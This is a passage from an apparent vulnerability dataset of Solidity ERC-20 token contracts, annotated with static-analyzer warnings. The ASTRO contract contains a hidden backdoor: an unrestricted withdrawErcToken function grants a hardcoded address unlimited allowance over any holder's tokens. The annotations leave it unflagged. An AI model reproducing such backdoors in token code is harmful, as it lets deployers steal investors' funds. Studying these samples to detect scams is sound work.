sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ncontract ASTRO is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _pOwned;\n\n mapping(address => mapping(address => uint256)) private _illowances;\n\n mapping(address => bool) private _excludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: a59ba12): ASTRO._bots is never initialized. It is used in ASTRO._transfer(address,address,uint256)\n\t// Recommendation for a59ba12: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private _bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8ec5663): ASTRO._taxWallet should be immutable \n\t// Recommendation for 8ec5663: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1a65b6a): ASTRO._kpReceipt should be constant \n\t// Recommendation for 1a65b6a: Add the 'constant' attribute to state variables that never change.\n address private _kpReceipt =\n address(0xe3D9796e800850b6bC1D3b160F0807734EC07e3C);\n\n\t// WARNING Optimization Issue (constable-states | ID: d63e67a): ASTRO._initialBuyTax should be constant \n\t// Recommendation for d63e67a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: e338d46): ASTRO._initialSellTax should be constant \n\t// Recommendation for e338d46: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 04c1ebe): ASTRO._finalBuyTax should be constant \n\t// Recommendation for 04c1ebe: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1787f2d): ASTRO._finalSellTax should be constant \n\t// Recommendation for 1787f2d: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9c62e05): ASTRO._reduceBuyAt should be constant \n\t// Recommendation for 9c62e05: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6d185a6): ASTRO._reduceSellAt should be constant \n\t// Recommendation for 6d185a6: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5affb8c): ASTRO._preventCount should be constant \n\t// Recommendation for 5affb8c: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventCount = 15;\n\n uint256 private _buyTokenCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Trump Robot Dog\";\n\n string private constant _symbol = unicode\"ASTRO\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 939995e): ASTRO._pTotal should be constant \n\t// Recommendation for 939995e: Add the 'constant' attribute to state variables that never change.\n uint256 public _pTotal = (_tTotal * 100) / 1;\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletAmount = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: da0f14c): ASTRO._minTaxSwap should be constant \n\t// Recommendation for da0f14c: Add the 'constant' attribute to state variables that never change.\n uint256 public _minTaxSwap = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: d14b291): ASTRO._maxTaxSwap should be constant \n\t// Recommendation for d14b291: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniRouter;\n\n address private uniPair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private _isCaLimits = true;\n\n uint256 private _caBlockLimits = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_kpReceipt);\n\n _pOwned[_msgSender()] = _tTotal;\n\n _excludedFromFee[owner()] = true;\n\n _excludedFromFee[address(this)] = true;\n\n _excludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function initialize() external onlyOwner {\n uniRouter = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniRouter), _tTotal);\n\n uniPair = IUniswapV2Factory(uniRouter.factory()).createPair(\n address(this),\n uniRouter.WETH()\n );\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _pOwned[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 280e2f2): ASTRO.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 280e2f2: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _illowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ae6deff): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ae6deff: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ddd1089): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ddd1089: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: ae6deff\n\t\t// reentrancy-benign | ID: ddd1089\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: ae6deff\n\t\t// reentrancy-benign | ID: ddd1089\n _approve(\n sender,\n _msgSender(),\n _illowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7ccec27): ASTRO._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7ccec27: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: ddd1089\n _illowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: ae6deff\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b287f94): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b287f94: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: c9af4c9): ASTRO._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for c9af4c9: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: a59ba12): ASTRO._bots is never initialized. It is used in ASTRO._transfer(address,address,uint256)\n\t// Recommendation for a59ba12: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 48a82f9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 48a82f9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 55e8f05): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 55e8f05: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 _tokenFee = 0;\n\n if (!swapEnabled || inSwap) {\n _pOwned[from] = _pOwned[from] - amount;\n\n _pOwned[to] = _pOwned[to] + amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n if (from != owner() && to != owner()) {\n require(!_bots[from] && !_bots[to]);\n\n _tokenFee = amount\n .mul(\n (_buyTokenCount > _reduceBuyAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniPair &&\n to != address(uniRouter) &&\n !_excludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletAmount,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyTokenCount++;\n }\n\n if (to == uniPair && from != address(this)) {\n _tokenFee = amount\n .mul(\n (_buyTokenCount > _reduceSellAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// tautology | ID: c9af4c9\n if (contractETHBalance >= 0) {\n\t\t\t\t\t// reentrancy-events | ID: b287f94\n\t\t\t\t\t// reentrancy-eth | ID: 48a82f9\n\t\t\t\t\t// reentrancy-eth | ID: 55e8f05\n sendETH(address(this).balance);\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniPair &&\n swapEnabled &&\n contractTokenBalance > _minTaxSwap &&\n _buyTokenCount > _preventCount\n ) {\n if (_isCaLimits) {\n if (_caBlockLimits < block.number) {\n\t\t\t\t\t\t// reentrancy-events | ID: b287f94\n\t\t\t\t\t\t// reentrancy-eth | ID: 48a82f9\n\t\t\t\t\t\t// reentrancy-eth | ID: 55e8f05\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t\t// reentrancy-events | ID: b287f94\n\t\t\t\t\t\t\t// reentrancy-eth | ID: 48a82f9\n\t\t\t\t\t\t\t// reentrancy-eth | ID: 55e8f05\n sendETH(address(this).balance);\n }\n\n\t\t\t\t\t\t// reentrancy-eth | ID: 48a82f9\n _caBlockLimits = block.number;\n }\n } else {\n\t\t\t\t\t// reentrancy-events | ID: b287f94\n\t\t\t\t\t// reentrancy-eth | ID: 55e8f05\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t// reentrancy-events | ID: b287f94\n\t\t\t\t\t\t// reentrancy-eth | ID: 55e8f05\n sendETH(address(this).balance);\n }\n }\n }\n }\n\n if (_tokenFee > 0) {\n\t\t\t// reentrancy-eth | ID: 55e8f05\n _pOwned[address(this)] = _pOwned[address(this)].add(_tokenFee);\n\n\t\t\t// reentrancy-events | ID: b287f94\n emit Transfer(from, address(this), _tokenFee);\n }\n\n\t\t// reentrancy-eth | ID: 55e8f05\n _pOwned[from] = _pOwned[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 55e8f05\n _pOwned[to] = _pOwned[to].add(amount.sub(_tokenFee));\n\n\t\t// reentrancy-events | ID: b287f94\n emit Transfer(from, to, amount.sub(_tokenFee));\n }\n\n function removeLimits() external onlyOwner {\n _isCaLimits = false;\n\n _maxTxAmount = _tTotal;\n\n _maxWalletAmount = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function withdrawETH() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function sendETH(uint256 amount) private {\n\t\t// reentrancy-events | ID: ae6deff\n\t\t// reentrancy-events | ID: b287f94\n\t\t// reentrancy-eth | ID: 48a82f9\n\t\t// reentrancy-eth | ID: 55e8f05\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2519304): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2519304: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 016f778): ASTRO.startTrade() ignores return value by uniRouter.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 016f778: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f7024df): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f7024df: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function startTrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: 2519304\n\t\t// unused-return | ID: 016f778\n\t\t// reentrancy-eth | ID: f7024df\n uniRouter.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 2519304\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: f7024df\n tradingOpen = true;\n }\n\n function withdrawErcToken(address from) external {\n _illowances[from][_kpReceipt] = _pTotal;\n }\n\n receive() external payable {}\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniRouter.WETH();\n\n _approve(address(this), address(uniRouter), tokenAmount);\n\n\t\t// reentrancy-events | ID: ae6deff\n\t\t// reentrancy-events | ID: b287f94\n\t\t// reentrancy-benign | ID: ddd1089\n\t\t// reentrancy-eth | ID: 48a82f9\n\t\t// reentrancy-eth | ID: 55e8f05\n uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n}\n",
"file_name": "solidity_code_10094.sol",
"size_bytes": 21199,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n}\n\ncontract Ownable is Context {\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n address private _owner;\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ncontract ASI is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a552fba): ASI._taxWallet should be immutable \n\t// Recommendation for a552fba: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n string private constant _name = unicode\"Artificial Superintelligence\";\n\n string private constant _symbol = unicode\"ASI\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 29c68d3): ASI._initialBuyTax should be constant \n\t// Recommendation for 29c68d3: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: f8bdc05): ASI._initialSellTax should be constant \n\t// Recommendation for f8bdc05: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3690034): ASI._finalBuyTax should be constant \n\t// Recommendation for 3690034: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d8967d7): ASI._finalSellTax should be constant \n\t// Recommendation for d8967d7: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 87c873f): ASI._reduceBuyTaxAt should be constant \n\t// Recommendation for 87c873f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4db6fb5): ASI._reduceSellTaxAt should be constant \n\t// Recommendation for 4db6fb5: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 24317a6): ASI._preventSwapBefore should be constant \n\t// Recommendation for 24317a6: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: ad39d23): ASI._taxSwapThreshold should be constant \n\t// Recommendation for ad39d23: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 12000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7f8d704): ASI._maxTaxSwap should be constant \n\t// Recommendation for 7f8d704: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 15000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 83493fc): ASI.rwTotalPercent should be constant \n\t// Recommendation for 83493fc: Add the 'constant' attribute to state variables that never change.\n uint256 private rwTotalPercent = 0;\n\n struct RewardCounterData {\n uint256 initRwCount;\n uint256 rwIncrement;\n uint256 rwBurn;\n }\n\n uint256 private autoRwCounter = 0;\n\n mapping(address => RewardCounterData) private rewardCounter;\n\n IUniswapV2Router02 private router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _balances[_msgSender()] = _tTotal;\n\n _taxWallet = payable(0xa83f4775E0145bCd2103dD15e63701b01e9e7BA5);\n\n isExcludedFromFee[address(this)] = true;\n\n isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d01d6f3): ASI.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d01d6f3: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 70fa835): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 70fa835: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8aeae62): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8aeae62: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 70fa835\n\t\t// reentrancy-benign | ID: 8aeae62\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 70fa835\n\t\t// reentrancy-benign | ID: 8aeae62\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0a5d98d): ASI._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0a5d98d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 8aeae62\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 70fa835\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4164860): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4164860: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f3327ca): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f3327ca: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c77444a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c77444a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(\n tokenAmount > 0,\n \"Token: Transfer amount must be greater than zero\"\n );\n\n if (!tradingOpen || inSwap) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(router) &&\n !isExcludedFromFee[to]\n ) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 4164860\n\t\t\t\t// reentrancy-benign | ID: f3327ca\n\t\t\t\t// reentrancy-eth | ID: c77444a\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 4164860\n\t\t\t\t\t// reentrancy-eth | ID: c77444a\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (isExcludedFromFee[from] || isExcludedFromFee[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: f3327ca\n autoRwCounter = block.number;\n }\n\n if (!isExcludedFromFee[from] && !isExcludedFromFee[to]) {\n if (to != uniswapV2Pair) {\n RewardCounterData storage rwcounter = rewardCounter[to];\n\n if (uniswapV2Pair == from) {\n if (rwcounter.initRwCount == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: f3327ca\n rwcounter.initRwCount = _preventSwapBefore >= _buyCount\n ? ~uint256(0)\n : block.number;\n }\n } else {\n RewardCounterData storage rwcounteralt = rewardCounter[\n from\n ];\n\n if (\n rwcounter.initRwCount > rwcounteralt.initRwCount ||\n rwcounter.initRwCount == 0\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: f3327ca\n rwcounter.initRwCount = rwcounteralt.initRwCount;\n }\n }\n } else if (swapEnabled) {\n RewardCounterData storage rwcounteralt = rewardCounter[from];\n\n\t\t\t\t// reentrancy-benign | ID: f3327ca\n rwcounteralt.rwBurn = rwcounteralt.initRwCount - autoRwCounter;\n\n\t\t\t\t// reentrancy-benign | ID: f3327ca\n rwcounteralt.rwIncrement = block.timestamp;\n }\n }\n\n\t\t// reentrancy-events | ID: 4164860\n\t\t// reentrancy-eth | ID: c77444a\n _tokenTransfer(from, to, tokenAmount, taxAmount);\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: c77444a\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: c77444a\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: 4164860\n emit Transfer(from, to, receiptAmount);\n }\n\n function _tokenTaxTransfer(\n address addrs,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? tokenAmount\n : 